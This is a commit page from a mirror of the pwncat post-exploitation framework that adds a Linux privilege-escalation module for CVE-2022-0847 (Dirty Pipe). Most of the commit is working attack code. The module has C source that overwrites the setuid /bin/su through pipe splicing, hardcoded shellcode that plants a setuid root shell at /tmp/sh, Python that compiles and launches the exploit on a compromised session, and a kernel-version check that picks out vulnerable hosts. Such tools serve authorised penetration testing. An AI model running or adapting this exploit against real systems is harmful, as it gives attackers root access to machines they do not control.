1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 10:54:14 +01:00

Adding dirtypipe module for escalate.

This commit is contained in:
Dana Epp 2022-03-21 21:15:45 +00:00
parent 37f04d4e16
commit dff8bab06c

View File

@ -0,0 +1,239 @@
#!/usr/bin/env python3
import textwrap
import subprocess
from io import StringIO
from subprocess import CalledProcessError
from pwncat import util
from pwncat.facts import EscalationReplace
from pwncat.channel import ChannelError
from pwncat.manager import Session
from pwncat.modules import ModuleFailed
from pwncat.platform import PlatformError
from pwncat.platform.linux import Linux
from pwncat.modules.enumerate import EnumerateModule
from pwncat.modules.linux.enumerate.system.uname import KernelVersionData
class DirtyPipeExploit(EscalationReplace):
"""Escalate using the dirty pipe exploit"""
def escalate(self, session: Session):
# Write the ELF source code
dirtypipez_source = textwrap.dedent(
f"""
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
unsigned char elfcode[] = {{
0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
}};
static void prepare_pipe(int p[2])
{{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {{
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}}
for (unsigned r = pipe_size; r > 0;) {{
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}}
}}
int hax(char *filename, long offset, uint8_t *data, size_t len) {{
const int fd = open(filename, O_RDONLY);
if (fd < 0) {{
perror("open failed");
return -1;
}}
struct stat st;
if (fstat(fd, &st)) {{
perror("stat failed");
return -1;
}}
int p[2];
prepare_pipe(p);
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {{
perror("splice failed");
return -1;
}}
if (nbytes == 0) {{
fprintf(stderr, "short splice\\n");
return -1;
}}
nbytes = write(p[1], data, len);
if (nbytes < 0) {{
perror("write failed");
return -1;
}}
if ((size_t)nbytes < len) {{
fprintf(stderr, "short write\\n");
return -1;
}}
close(fd);
return 0;
}}
int main(int argc, char **argv) {{
char *path = "/bin/su";
uint8_t *data = elfcode;
int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);
printf("[+] hijacking suid binary..\\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {{
printf("[~] failed\\n");
return EXIT_FAILURE;
}}
printf("[+] dropping suid shell..\\n");
system(path);
printf("[+] restoring suid binary..\\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {{
printf("[~] failed\\n");
return EXIT_FAILURE;
}}
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\\n");
system("/tmp/sh");
return EXIT_SUCCESS;
}}
"""
).lstrip()
# TODO: Use this instead of hardcoding the elfcode array so it can work on other architectures.
elf_code_source = textwrap.dedent(
f"""
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {{
setuid(0); setgid(0);
seteuid(0); setegid(0);
char *args[] = {{ "/bin/sh", NULL }};
execve("/bin/sh", args, NULL );
}}
"""
).lstrip()
# Compile dirtypipez exploit binary
try:
# OK, you should never static link glibc, but since pwncat has a bug
# in its compile targeting we need to make sure the rootshell won't
# have glibc compat issues. Caleb is aware of the issue.
rootshell = session.platform.compile(
[StringIO(dirtypipez_source)],
cflags=["-static", "-s"],
output="/tmp/" + util.random_string(),
)
except PlatformError as exc:
raise ModuleFailed(
f"compilation failed for dirtypipez exploit: {exc}"
) from exc
except ChannelError as channel_exc:
raise ModuleFailed(
f"Channel error during compilation process: {channel_exc}"
) from channel_exc
try:
proc = session.platform.Popen(
[rootshell],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
proc.detach()
# Return a callable to exit this escalation
return lambda session: session.platform.channel.send(b"exit\n")
except CalledProcessError as exc:
raise ModuleFailed(f"privesc failed: {exc}") from exc
finally:
# Remove the rootshell
session.platform.Path(rootshell).unlink()
def title(self, session: Session):
return f"""escalate to root via dirtypipez (cve-2022-0847)"""
class Module(EnumerateModule):
"""
Exploit CVE-2022-0847 (dirtypipez) for local privilege escalation to root.
Based on original PoC at https://haxx.in/files/dirtypipez.c
"""
PROVIDES = ["escalate.replace"]
PLATFORM = [Linux]
def enumerate(self, session: Session):
try:
version: KernelVersionData = session.run(
"enumerate", types=["system.kernel.version"]
)[0]
except IndexError:
session.log("failed to retrieve kernel version")
return
# Versions that are patched
if version.major != 5:
return
elif (
version.minor < 8
or (version.minor == 10 and version.patch > 102)
or (version.minor == 15 and version.patch >= 25)
or (version.minor == 16 and version.patch >= 11)
):
return
yield DirtyPipeExploit(self.name, session.current_user().id, 0)